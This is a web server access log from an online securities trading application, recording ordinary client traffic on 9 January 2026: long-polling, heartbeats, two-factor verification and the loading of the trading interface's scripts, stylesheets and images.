[09/Jan/2026:16:12:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946602527 HTTP/1.1" -
[09/Jan/2026:16:12:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946607554 HTTP/1.1" -
[09/Jan/2026:16:12:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946612604 HTTP/1.1" -
[09/Jan/2026:16:12:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946617642 HTTP/1.1" -
[09/Jan/2026:16:12:29 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:12:29 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 123
[09/Jan/2026:16:12:29 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:12:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:12:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:12:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946622685 HTTP/1.1" -
[09/Jan/2026:16:12:34 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:16:12:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946627710 HTTP/1.1" -
[09/Jan/2026:16:12:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:12:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:12:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946632746 HTTP/1.1" -
[09/Jan/2026:16:12:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946637770 HTTP/1.1" -
[09/Jan/2026:16:12:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946642826 HTTP/1.1" -
[09/Jan/2026:16:12:53 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Resend2FAService HTTP/1.1" -
[09/Jan/2026:16:12:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946647863 HTTP/1.1" -
[09/Jan/2026:16:13:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:13:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946652894 HTTP/1.1" -
[09/Jan/2026:16:13:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:13:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946657924 HTTP/1.1" -
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 425
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:16:13:08 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:16:13:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:16:13:09 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767946659246 HTTP/1.1" 3188
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:16:13:10 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
